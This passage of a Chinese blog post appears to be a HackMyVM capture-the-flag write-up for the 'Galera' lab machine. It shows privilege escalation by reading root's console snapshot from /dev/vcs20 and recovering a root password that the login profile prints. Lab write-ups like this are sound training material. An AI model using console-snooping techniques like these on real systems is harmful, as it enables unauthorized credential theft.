OpenAI API\nActions Digital Source Type : http:\/\/cv.iptc.org\/newscodes\/digitalsourcetype\/trainedAlgorithmicMedia\nExclusions Start : 33\nExclusions Length : 14149\nName : jumbf manifest\nAlg : sha256\nHash : (Binary data 32 bytes, use -b option to extract)\nPad : (Binary data 8 bytes, use -b option to extract)\nInstance ID : xmp:iid:c8e9e301-7cbe-4107-b753-4a1d1aa53bbc\nClaim Generator Info Name : ChatGPT\nClaim Generator Info Org Cai C2 Pa Rs: 0.49.5\nSignature : self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature\nCreated Assertions Url : self#jumbf=c2pa.assertions\/c2pa.actions.v2, self#jumbf=c2pa.assertions\/c2pa.hash.data\nCreated Assertions Hash : (Binary data 32 bytes, use -b option to extract), (Binary data 32 bytes, use -b option to extract)\nItem 0 : (Binary data 1985 bytes, use -b option to extract)\nItem 1 Pad : (Binary data 10932 bytes, use -b option to extract)\nItem 2 : null\nItem 3 : (Binary data 64 bytes, use -b option to extract)\nC2PA Thumbnail Ingredient Jpeg Type: image\/jpeg\nC2PA Thumbnail Ingredient Jpeg Data: (Binary data 48333 bytes, use -b option to extract)\nRelationship : componentOf\nFormat : png\nValidation Results Active Manifest Success Code: claimSignature.insideValidity, claimSignature.validated, assertion.hashedURI.match, assertion.hashedURI.match, assertion.dataHash.match\nValidation Results Active Manifest Success Url: self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.assertions\/c2pa.actions.v2, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.assertions\/c2pa.hash.data, self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.assertions\/c2pa.hash.data\nValidation Results Active Manifest Success Explanation: claim signature valid, claim signature valid, hashed uri matched: self#jumbf=c2pa.assertions\/c2pa.actions.v2, hashed uri matched: self#jumbf=c2pa.assertions\/c2pa.hash.data, data hash valid\nActive Manifest Url : self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\nActive Manifest Alg : sha256\nActive Manifest Hash : (Binary data 32 bytes, use -b option to extract)\nClaim Signature Url : self#jumbf=\/c2pa\/urn:c2pa:2c1c9646-3963-46c8-b6b8-70c202db950e\/c2pa.signature\nClaim Signature Alg : sha256\nClaim Signature Hash : (Binary data 32 bytes, use -b option to extract)\nThumbnail URL : self#jumbf=c2pa.assertions\/c2pa.thumbnail.ingredient.jpeg\nThumbnail Hash : (Binary data 32 bytes, use -b option to extract)\nArtist : \nAuthor : \nCollection : \nComment : \nCopyright : \nDescription : \nDisclaimer : \nDocument : \nLabel : \nMake : \nModel : \nSoftware : \nSource : \nTime Stamp : \nTitle : \nURL : \nPNG Warning : \nPixels Per Unit X : 2834\nPixels Per Unit Y : 2834\nPixel Units : meters\nImage Size : 1024x1024\nMegapixels : 1.0<\/code><\/pre>\n\u8fd9\u4e2a\u6587\u4ef6\u6709\u70b9\u5927\u54e6\u3002\u3002\u3002\u3002\u3002\u7785\u7785\u662f\u4e2a\u5565\uff0c\u4e07\u4e00\u628a\u5bc6\u7801\u653e\u4e0a\u9762\u4e86\u5462\uff01\uff01\uff01\uff01<\/p>\n
<\/div><\/p>\n\u8fd9\u662f\u5728\u641e\u4ec0\u4e48\uff0c\u96be\u9053\u662f\u5565\u540d\u4f5c\uff1f\u5c1d\u8bd5 google \u4e00\u4e0b\uff0c\u53d1\u73b0\u597d\u50cf\u662f AI \u751f\u6210\u7684\u3002\u3002\u3002\u3002\u53ef\u80fd\u53ea\u662f\u4e00\u4e2a\u5154\u5b50\u6d1e\uff0c\u5c1d\u8bd5steg -a<\/code>\u4e86\uff0c\u4f46\u662f\u5f88\u591a\u5947\u602a\u5b57\u7b26\u4e5f\u4e0d\u77e5\u9053\u6709\u5565\u7528\u3002\u3002\u3002<\/p>\n\u6355\u83b7tty20\u5c4f\u5e55\u5feb\u7167vcs20<\/h3>\ndonjuandeaustria@galera:~$ tty\n\/dev\/pts\/0\ndonjuandeaustria@galera:~$ who\nroot tty20 2025-06-19 04:06\ndonjuandeaustria pts\/0 2025-06-19 05:13 (192.168.10.107)<\/code><\/pre>\n\u53d1\u73b0\u6709\u4fe9\u7ec8\u7aef\uff0c\u5176\u4e2d\u6709\u4e00\u4e2a\u8fd8\u662f root \uff0c\u5c1d\u8bd5\u6355\u6349\u4e00\u4e0b\u6709\u4e9b\u5565\uff1a<\/p>\n
donjuandeaustria@galera:~$ cat \/dev\/tty20\ncat: \/dev\/tty20: Permission denied<\/code><\/pre>\n\n\n\n\u8bbe\u5907<\/strong><\/th>\n\u7528\u9014<\/strong><\/th>\n\u6570\u636e\u5f62\u5f0f<\/strong><\/th>\n<\/tr>\n<\/thead>\n\n\n\/dev\/tty20<\/code><\/td>\n\u7ec8\u7aef\u4ea4\u4e92\uff1a\u8f93\u5165\u547d\u4ee4\u3001\u63a5\u6536\u5b9e\u65f6\u8f93\u51fa\uff08\u5982 echo "test" > \/dev\/tty20<\/code>\uff09<\/td>\n\u539f\u59cb\u8f93\u5165\u8f93\u51fa\u6d41<\/td>\n<\/tr>\n \n\/dev\/vcs20<\/code><\/td>\n\u622a\u53d6\u5c4f\u5e55\u5feb\u7167\uff1a\u8bfb\u53d6\u7ec8\u7aef\u5f53\u524d\u663e\u793a\u7684\u9759\u6001\u6587\u672c\uff08\u5982 sudo cat \/dev\/vcs20<\/code>\uff09<\/td>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u7136\u540e\u5c1d\u8bd5\u770b\u4e00\u4e0b\uff1a<\/p>\n
donjuandeaustria@galera:~$ cat \/dev\/vcs20 | busybox hexdump -C \n00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000000a0 20 20 20 5f 5f 5f 5f 20 20 20 5f 5f 5f 5f 20 20 | ____ ____ |\n000000b0 5f 20 20 20 20 20 20 20 20 5f 5f 5f 20 20 5f 5f |_ ___ __|\n000000c0 5f 5f 20 20 20 20 5f 5f 5f 5f 20 20 20 20 20 20 |__ ____ |\n000000d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000140 20 20 2f 20 20 20 20 7c 20 2f 20 20 20 20 7c 7c | \/ | \/ |||\n00000150 20 7c 20 20 20 20 20 20 2f 20 20 5f 5d 7c 20 20 | | \/ _]| |\n00000160 20 20 5c 20 20 2f 20 20 20 20 7c 20 20 20 20 20 | \\ \/ | |\n00000170 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000001e0 20 7c 20 20 20 5f 5f 7c 7c 20 20 6f 20 20 7c 7c | | __|| o |||\n000001f0 20 7c 20 20 20 20 20 2f 20 20 5b 5f 20 7c 20 20 | | \/ [_ | |\n00000200 44 20 20 29 7c 20 20 6f 20 20 7c 20 20 20 20 20 |D )| o | |\n00000210 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000280 20 7c 20 20 7c 20 20 7c 7c 20 20 20 20 20 7c 7c | | | || |||\n00000290 20 7c 5f 5f 5f 20 7c 20 20 20 20 5f 5d 7c 20 20 | |___ | _]| |\n000002a0 20 20 2f 20 7c 20 20 20 20 20 7c 20 20 20 20 20 | \/ | | |\n000002b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000320 20 7c 20 20 7c 5f 20 7c 7c 20 20 5f 20 20 7c 7c | | |_ || _ |||\n00000330 20 20 20 20 20 7c 7c 20 20 20 5b 5f 20 7c 20 20 | || [_ | |\n00000340 20 20 5c 20 7c 20 20 5f 20 20 7c 20 20 20 20 20 | \\ | _ | |\n00000350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000003c0 20 7c 20 20 20 20 20 7c 7c 20 20 7c 20 20 7c 7c | | || | |||\n000003d0 20 20 20 20 20 7c 7c 20 20 20 20 20 7c 7c 20 20 | || || |\n000003e0 2e 20 20 5c 7c 20 20 7c 20 20 7c 20 20 20 20 20 |. \\| | | |\n000003f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000460 20 7c 5f 5f 5f 2c 5f 7c 7c 5f 5f 7c 5f 5f 7c 7c | |___,_||__|__|||\n00000470 5f 5f 5f 5f 5f 7c 7c 5f 5f 5f 5f 5f 7c 7c 5f 5f |_____||_____||__|\n00000480 7c 5c 5f 7c 7c 5f 5f 7c 5f 5f 7c 20 20 20 20 20 ||\\_||__|__| |\n00000490 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000005b0 20 20 20 20 20 20 20 20 20 20 20 7c 7e 20 20 20 | |~ |\n000005c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000650 20 20 20 20 20 7c 2f 20 20 20 20 77 20 20 20 20 | |\/ w |\n00000660 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000006f0 20 20 20 20 2f 20 28 20 20 20 28 7c 20 20 20 5c | \/ ( (| \\|\n00000700 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000790 20 20 20 2f 28 20 28 2f 20 20 20 7c 29 20 20 7c | \/( (\/ |) ||\n000007a0 5c 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |\\ |\n000007b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000820 20 20 20 20 20 20 20 20 20 20 20 20 5f 5f 5f 5f | ____|\n00000830 20 20 28 20 28 2f 20 20 20 20 28 7c 20 20 20 7c | ( (\/ (| ||\n00000840 20 29 20 20 2c 20 20 20 20 20 20 20 20 20 20 20 | ) , |\n00000850 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000008c0 20 20 20 20 20 20 20 20 20 20 20 7c 2d 2d 2d 2d | |----|\n000008d0 5c 20 28 2f 20 7c 20 20 20 20 2f 7c 20 20 20 7c |\\ (\/ | \/| ||\n000008e0 27 5c 20 2f 5e 3b 20 20 20 20 20 20 20 20 20 20 |'\\ \/^; |\n000008f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000960 20 20 20 20 20 20 20 20 20 20 5c 2d 2d 2d 2a 2d | \\---*-|\n00000970 2d 2d 59 2d 2d 2b 2d 2d 2d 2d 2d 2b 2d 2d 2d 2b |--Y--+-----+---+|\n00000980 2d 2d 2f 28 20 20 20 20 20 20 20 20 20 20 20 20 |--\/( |\n00000990 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000a00 20 20 20 20 20 20 20 20 20 20 20 5c 2d 2d 2d 2d | \\----|\n00000a10 2d 2d 2a 2d 2d 2d 2a 2d 2d 2a 2d 2d 2d 2a 2d 2d |--*---*--*---*--|\n00000a20 2f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |\/ |\n00000a30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000aa0 20 20 20 20 20 20 20 20 20 20 20 20 27 7e 7e 20 | '~~ |\n00000ab0 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 7e 20 |~~~~~~~~~~~~~~~ |\n00000ac0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000be0 20 5b 2a 5d 20 4d 61 63 68 69 6e 65 3a 20 47 61 | [*] Machine: Ga|\n00000bf0 6c 65 72 61 20 20 20 20 20 20 20 20 20 20 20 20 |lera |\n00000c00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000c80 20 5b 2a 5d 20 50 6c 61 74 66 6f 72 6d 3a 20 48 | [*] Platform: H|\n00000c90 61 63 6b 4d 79 56 4d 20 20 20 20 20 20 20 20 20 |ackMyVM |\n00000ca0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000d20 20 5b 2a 5d 20 41 75 74 68 6f 72 3a 20 4c 65 6e | [*] Author: Len|\n00000d30 61 6d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |am |\n00000d40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000dc0 20 5b 2a 5d 20 49 50 3a 20 31 39 32 2e 31 36 38 | [*] IP: 192.168|\n00000dd0 2e 31 30 2e 31 30 31 20 20 20 20 20 20 20 20 20 |.10.101 |\n00000de0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00000f00 67 61 6c 65 72 61 20 6c 6f 67 69 6e 3a 20 72 6f |galera login: ro|\n00000f10 6f 74 20 28 61 75 74 6f 6d 61 74 69 63 20 6c 6f |ot (automatic lo|\n00000f20 67 69 6e 29 20 20 20 20 20 20 20 20 20 20 20 20 |gin) |\n00000f30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001040 4c 69 6e 75 78 20 67 61 6c 65 72 61 20 36 2e 31 |Linux galera 6.1|\n00001050 2e 30 2d 33 34 2d 61 6d 64 36 34 20 23 31 20 53 |.0-34-amd64 #1 S|\n00001060 4d 50 20 50 52 45 45 4d 50 54 5f 44 59 4e 41 4d |MP PREEMPT_DYNAM|\n00001070 49 43 20 44 65 62 69 61 6e 20 36 2e 31 2e 31 33 |IC Debian 6.1.13|\n00001080 35 2d 31 20 28 32 30 32 35 2d 30 34 2d 32 35 29 |5-1 (2025-04-25)|\n00001090 20 78 38 36 5f 36 34 20 20 20 20 20 20 20 20 20 | x86_64 |\n000010a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001180 54 68 65 20 70 72 6f 67 72 61 6d 73 20 69 6e 63 |The programs inc|\n00001190 6c 75 64 65 64 20 77 69 74 68 20 74 68 65 20 44 |luded with the D|\n000011a0 65 62 69 61 6e 20 47 4e 55 2f 4c 69 6e 75 78 20 |ebian GNU\/Linux |\n000011b0 73 79 73 74 65 6d 20 61 72 65 20 66 72 65 65 20 |system are free |\n000011c0 73 6f 66 74 77 61 72 65 3b 20 20 20 20 20 20 20 |software; |\n000011d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001220 74 68 65 20 65 78 61 63 74 20 64 69 73 74 72 69 |the exact distri|\n00001230 62 75 74 69 6f 6e 20 74 65 72 6d 73 20 66 6f 72 |bution terms for|\n00001240 20 65 61 63 68 20 70 72 6f 67 72 61 6d 20 61 72 | each program ar|\n00001250 65 20 64 65 73 63 72 69 62 65 64 20 69 6e 20 74 |e described in t|\n00001260 68 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |he |\n00001270 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000012c0 69 6e 64 69 76 69 64 75 61 6c 20 66 69 6c 65 73 |individual files|\n000012d0 20 69 6e 20 2f 75 73 72 2f 73 68 61 72 65 2f 64 | in \/usr\/share\/d|\n000012e0 6f 63 2f 2a 2f 63 6f 70 79 72 69 67 68 74 2e 20 |oc\/*\/copyright. |\n000012f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001400 44 65 62 69 61 6e 20 47 4e 55 2f 4c 69 6e 75 78 |Debian GNU\/Linux|\n00001410 20 63 6f 6d 65 73 20 77 69 74 68 20 41 42 53 4f | comes with ABSO|\n00001420 4c 55 54 45 4c 59 20 4e 4f 20 57 41 52 52 41 4e |LUTELY NO WARRAN|\n00001430 54 59 2c 20 74 6f 20 74 68 65 20 65 78 74 65 6e |TY, to the exten|\n00001440 74 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |t |\n00001450 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000014a0 70 65 72 6d 69 74 74 65 64 20 62 79 20 61 70 70 |permitted by app|\n000014b0 6c 69 63 61 62 6c 65 20 6c 61 77 2e 20 20 20 20 |licable law. |\n000014c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001540 4c 61 73 74 20 6c 6f 67 69 6e 3a 20 54 68 75 20 |Last login: Thu |\n00001550 4a 75 6e 20 31 39 20 30 31 3a 30 37 3a 30 39 20 |Jun 19 01:07:09 |\n00001560 45 44 54 20 32 30 32 35 20 6f 6e 20 74 74 79 32 |EDT 2025 on tty2|\n00001570 30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |0 |\n00001580 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001680 20 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a | **************|\n00001690 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a |****************|\n000016a0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 20 |************** |\n000016b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001720 20 20 20 20 20 20 20 20 20 57 65 6c 63 6f 6d 65 | Welcome|\n00001730 2c 20 53 79 73 74 65 6d 20 41 64 6d 69 6e 69 73 |, System Adminis|\n00001740 74 72 61 74 6f 72 21 20 20 20 20 20 20 20 20 20 |trator! |\n00001750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n000017c0 20 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a | **************|\n000017d0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a |****************|\n000017e0 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 20 |************** |\n000017f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001900 20 20 52 65 6d 69 6e 64 65 72 3a 20 79 6f 75 72 | Reminder: your|\n00001910 20 72 6f 6f 74 20 70 61 73 73 77 6f 72 64 20 69 | root password i|\n00001920 73 20 27 73 61 47 35 38 7a 4a 78 73 38 63 72 67 |s 'saG58zJxs8crg|\n00001930 51 61 33 36 36 55 77 27 20 20 20 20 20 20 20 20 |Qa366Uw' |\n00001940 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001a40 72 6f 6f 74 40 67 61 6c 65 72 61 3a 7e 23 20 20 |root@galera:~# |\n00001a50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |\n*\n00001f40<\/code><\/pre>\n\n\u53d1\u73b0\u8be5\u7ec8\u7aef\uff08tty20<\/code>\uff09\u7684\u5c3a\u5bf8\u4e3a 80\u5217 \u00d7 24\u884c<\/strong><\/p>\n\n- \u4ece\u504f\u79fb\u91cf
000000a0<\/code> \u5230 000000ef<\/code> \u6b63\u597d\u662f 80\u4e2a\u5b57\u8282<\/strong>\uff0816\u8fdb\u5236\u5730\u5740\u5dee\uff1a0xEF-0xA0=79 \u2794 80\u5b57\u8282\uff09<\/li>\n- \u603b\u884c\u6570\uff1a\u6240\u6709\u884c\u7684\u5b57\u8282\u6570\u5747\u4e3a 80\u7684\u500d\u6570<\/strong>\uff08\u7ec8\u7aef\u6bcf\u884c\u56fa\u5b9a80\u5b57\u7b26\uff09\uff0c\u4ece\u767b\u5f55\u63d0\u793a\uff08
galera login:<\/code>\uff09\u5230\u547d\u4ee4\u63d0\u793a\u7b26\uff08root@galera:~# <\/code>\uff09\u4e4b\u95f4\uff0c\u6211\u4eec\u53ef\u4ee5\u7edf\u8ba1\u51fa\u5927\u7ea6 24\u884c<\/strong><\/li>\n<\/ul>\n<\/blockquote>\n\u8ba9 AI \u6574\u7406\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n
\n ____ ____ _ ___ ________ ____ \n \/ | \/ || | \/ _]| || \/ | \n | __|| o || | \/ [_ | | | | o | \n | |_ | || |___ | _]|_| |_| | | | \n | _]| _ || || [_ | | | | _ | \n | | | | || || | | | | | | | \n |__| |__|__||_____||_____| |__| | |__|__| \n\n |~ \n |\/ w \n \/ ( (| \n \/( (\/ |) \n ____ ( (\/ (| ) , \n |----\\ (\/ | \/| '\\\/^; \n \\---*--Y--+-----+----\/( \n \\----*---*---*--*--\/ \n '~~ ~~~~~~~~~~~~~ \n[*] Machine: Galera \n[*] Platform: HackMyVM \n[*] Author: Lenam \n[*] IP: 192.168.10.101 \n\ngalera login: root (automatic login) \n\nLinux galera 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 \n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\n\nLast login: Thu Jun 19 01:07:09 EDT 2025 on tty20\n\n \u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b \n Welcome, System Administrator! \n \u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b*\u200b**\u200b \n\nReminder: your root password is 'saG58zJxs8crgQa366Uw' \n\nroot@galera:~# <\/code><\/pre>\n\u5f97\u5230\u4e86root\u5bc6\u7801\uff1asaG58zJxs8crgQa366Uw<\/code><\/p>\n<\/div><\/p>\n\u5173\u4e8e\u9759\u6001\u6587\u672c\u7684\u5f62\u6210\u539f\u56e0<\/h3>\n
\u53ef\u80fd\u662f\u7528\u6237\u767b\u5f55\u81ea\u52a8\u8f93\u51fa\u5230\u7ec8\u7aef\u7684\u4fe1\u606f\uff0c\u7c7b\u4f3c\u4e8e\/etc\/motd<\/code>\uff1f<\/p>\nroot@galera:~# cat .bashrc\n# ~\/.bashrc: executed by bash(1) for non-login shells.\n\n# Note: PS1 and umask are already set in \/etc\/profile. You should not\n# need this unless you want different defaults for root.\n# PS1='${debian_chroot:+($debian_chroot)}\\h:\\w\\$ '\n# umask 022\n\n# You may uncomment the following lines if you want `ls' to be colorized:\n# export LS_OPTIONS='--color=auto'\n# eval "$(dircolors)"\n# alias ls='ls $LS_OPTIONS'\n# alias ll='ls $LS_OPTIONS -l'\n# alias l='ls $LS_OPTIONS -lA'\n#\n# Some more alias to avoid making mistakes:\n# alias rm='rm -i'\n# alias cp='cp -i'\n# alias mv='mv -i'\nexport MYSQL_HISTFILE=\/dev\/null\nroot@galera:~# cat .mysql_history\n_HiStOrY_V2_\nroot@galera:~# cat .profile\n# ~\/.profile: executed by Bourne-compatible login shells.\n\nif [ "$BASH" ]; then\n if [ -f ~\/.bashrc ]; then\n . ~\/.bashrc\n fi\nfi\n\nmesg n 2> \/dev\/null || true\n\n# Comprueba que es root e interactivo\nif [ "$(id -u)" = "0" ] && [ -n "$PS1" ]; then\n # Mant\u00e9n todo lo que ya imprime el sistema (last login, motd, etc.)\n # y luego a\u00f1ade tu mensaje en ingl\u00e9s:\n echo\n echo " ********************************************"\n echo " Welcome, System Administrator!"\n echo " ********************************************"\n echo\n # Recordatorio de contrase\u00f1a:\n # Opci\u00f3n A: la pones directamente\n echo " Reminder: your root password is 'saG58zJxs8crgQa366Uw'"\n echo\nfi<\/code><\/pre>\n\u81f3\u4e8e\u4e0a\u9762\u7684\u90a3\u4e2aASCII\u827a\u672f\u5b57<\/code>\u548b\u751f\u6210\u7684\uff0c\u6682\u65f6\u6ca1\u627e\u5230\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"Galera \u4fe1\u606f\u641c\u96c6 \u76ee\u5f55\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Galera] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-895","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=895"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/895\/revisions"}],"predecessor-version":[{"id":896,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/895\/revisions\/896"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=895"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20250619131713908\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345041.png\")
<\/div><\/p>\n![\"image-20250619214228580\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345042.png\")
<\/div>![\"image-20250619214256372\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345043.png\")
<\/div><\/p>\n![\"image-20250619132826811\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345044.png\")
<\/div><\/p>\n![\"image-20250619183925423\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345045.png\")
<\/div><\/p>\n![\"image-20250619184608998\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345046.png\")
<\/div><\/p>\n![\"image-20250619213605815\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345047.png\")
<\/div>![\"image-20250619213830475\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345048.png\")
<\/div><\/p>\n![\"image-20250619220044803\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345050.png\")
<\/div><\/p>\n![\"image-20250619220347560\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345051.png\")
<\/div><\/p>\n![\"image-20250619222402329\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345052.png\")
<\/div><\/p>\n![\"image-20250619223903710\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345053.png\")
<\/div><\/p>\n![\"image-20250619225100296\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345054.png\")
<\/div><\/p>\n![\"image-20250619230502883\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345055.png\")
<\/div><\/p>\n![\"image-20250619233538271\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506192345056.png\")
<\/div><\/p>\n